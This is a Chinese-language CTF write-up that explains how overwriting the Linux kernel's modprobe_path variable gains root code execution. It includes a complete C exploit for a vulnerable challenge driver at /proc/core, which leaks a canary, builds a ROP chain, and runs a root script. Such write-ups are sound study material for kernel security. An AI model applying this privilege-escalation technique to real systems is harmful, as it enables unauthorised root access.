目录

Kernel Pwn Overwirte modprobe_path

modprobe 是一个程序, 用于安装或者卸载内核模块. 内核在某些情况下会调用这个程序. 不过, modprobe 路径存在变量 modprobe_path 中, 默认是 /sbin/modprobe. 同时这个地址是可写的.

当调用 execve syscall 执行程序时, 如果系统不认识这个文件的魔数, 那么内核将会执行如下调用链:

do_execve() -> do_execveat_common() -> bprm_execve() -> exec_binprm() -> search_binary_handler() -> request_module() -> call_modprobe()

其中, call_modprobe() 关键代码如下:

c

static int call_modprobe(char *module_name, int wait)
{
    // ...
    argv[0] = modprobe_path;
    argv[1] = "-q";
    argv[2] = "--";
    argv[3] = module_name;
    argv[4] = NULL;

    info = call_usermodehelper_setup(modprobe_path, argv, envp, GFP_KERNEL,
           NULL, free_modprobe_argv, NULL);
    // ...
    ret = call_usermodehelper_exec(info, wait | UMH_KILLABLE);
    // ...
}

这个函数会到用户态去执行程序, 并且其权限是 root. 所以只要劫持 modprobe_path, 然后创建一个系统不认识的文件并执行, 就可以以 root 权限执行任意程序 / shell 脚本了. 需要注意要给两个程序 x 权限, 否则无法执行.

modprobe_path 这个符号可能在 kallsyms 里没有, 但是可以翻一下源码, 看哪个函数调用了它, 比如 __request_module, 然后去看汇编, 就能够找到了.

这个方法在开了 FG-KASLR 时很有用, 因为 modprobe_path 在数据段, 不受 FG-KASLR 的影响. 而返回用户态的函数 swapgs_restore_regs_and_return_to_usermode 在 trampline page, 也不受影响.

题目之前分析过了, 略掉. 找一些 gadget: mov [reg1], reg2; ret, pop reg1/reg2; ret, ROP 链就可以任意地址写了. 修改完 modprobe_path 后还要返回用户态执行.

c

// gcc exp.c -static -masm=intel -g -o exp
#include <sys/types.h>
#include <stdio.h>
#include <linux/userfaultfd.h>
#include <pthread.h>
#include <errno.h>
#include <unistd.h>
#include <stdlib.h>
#include <fcntl.h>
#include <signal.h>
#include <poll.h>
#include <string.h>
#include <sys/mman.h>
#include <sys/syscall.h>
#include <sys/ioctl.h>
#include <sys/sem.h>
#include <semaphore.h>
#include <poll.h>

void success(const char *msg) {
    char *buf = calloc(0x1000, 1);
    sprintf(buf, "\033[32m\033[1m[+] %s\033[0m", msg);
    fprintf(stderr, "%s", buf);
    free(buf);
}

void fail(const char *msg) {
    char *buf = calloc(0x1000, 1);
    sprintf(buf, "\033[31m\033[1m[x] %s\033[0m", msg);
    fprintf(stderr, "%s", buf);
    free(buf);
}

void debug(const char *msg) {
#ifdef DEBUG
    char *buf = calloc(0x1000, 1);
    sprintf(buf, "\033[34m\033[1m[*] %s\033[0m", msg);
    fprintf(stderr, "%s", buf);
    free(buf);
#endif
}

void printvar(void handle(const char *), char *hint, size_t var) {
    char *buf = calloc(0x1000, 1);
    sprintf(buf, "%s: 0x%lx\n", hint, var);
    handle(buf);
    free(buf);
}

size_t user_cs, user_ss, user_rflags, user_sp;
void saveStatus() {
    __asm__("mov user_cs, cs;"
            "mov user_ss, ss;"
            "mov user_sp, rsp;"
            "pushf;"
            "pop user_rflags;"
            );
    user_sp &= ~0xf;
    user_sp += 8;
    success("Status has been saved.\n");
    printvar(debug, "cs", user_cs);
    printvar(debug, "ss", user_ss);
    printvar(debug, "rsp", user_sp);
    printvar(debug, "rflags", user_rflags);
}

int fd;

size_t off, swapgs_restore_regs_and_return_to_usermode;
void leakAddr() {
    FILE *kallsyms = fopen("/tmp/kallsyms", "r");
    size_t addr = 0;
    char t[2] = {0}, name[128] = {0};
    while (fscanf(kallsyms, "%lx%s%s", &addr, t, name) != EOF) {
        if (!strcmp(name, "swapgs_restore_regs_and_return_to_usermode")) {
            swapgs_restore_regs_and_return_to_usermode = addr;
            off = addr - 0xffffffff81a008da;
            printvar(success, "leak swapgs_restore_regs_and_return_to_usermode", addr);
            swapgs_restore_regs_and_return_to_usermode += 22;
        }
    }
    fclose(kallsyms);
}

size_t canary;
void leakCanary() {
    size_t *buf = calloc(0x1000, 1);
    ioctl(fd, 0x6677889C, 0x40);
    ioctl(fd, 0x6677889B, buf);

    canary = buf[0];
    printvar(success, "leak canary", canary);

    free(buf);
}

void get_flag() {
    success("Backing from the kernelspace.\n");
    system("echo -ne \"\xff\\xff\\xff\\xff\" > /tmp/dummy");
    system("chmod +x /tmp/dummy");
    system("echo \"#!/bin/sh\" >> /tmp/tp");
    system("echo \"cp /root/flag /tmp/flag && chmod a+r /tmp/flag\" >> /tmp/tp");
    system("chmod +x /tmp/tp");
    execve("/tmp/dummy", NULL, NULL);
    system("cat /tmp/flag");
}

void pwn() {
    fd = open("/proc/core", O_RDWR);

    leakAddr();
    leakCanary();

    size_t *rop = calloc(0x800, 1);
    size_t modprobe_path        = off + 0xffffffff8223d8c0;
    size_t pop_rdi_ret          = off + 0xffffffff81000b2f;
    size_t mov_qword_rdx_rdi    = off + 0xffffffff812fe0b8;
    size_t pop_rdx_ret          = off + 0xffffffff810a0f49;

    union {
        char str[0x8];
        size_t num;
    } name;
    name.num = 0;
    strcpy(name.str, "/tmp/tp");

    int cur = 8;
    rop[cur++] = canary;
    rop[cur++] = canary;
    rop[cur++] = pop_rdi_ret;
    rop[cur++] = name.num;
    rop[cur++] = pop_rdx_ret;
    rop[cur++] = modprobe_path;
    rop[cur++] = mov_qword_rdx_rdi;
    rop[cur++] = swapgs_restore_regs_and_return_to_usermode;
    rop[cur++] = 0;
    rop[cur++] = 0;
    rop[cur++] = (size_t) get_flag;
    rop[cur++] = user_cs;
    rop[cur++] = user_rflags;
    rop[cur++] = user_sp;
    rop[cur++] = user_ss;

    write(fd, rop, 0x800);
    free(rop);

    ioctl(fd, 0x6677889A, 0xffffffffffff0000 | (0x100));

    close(fd);
}

int main() {
    // signal(SIGSEGV, getRootShell);
    saveStatus();
    pwn();
    return 0;
}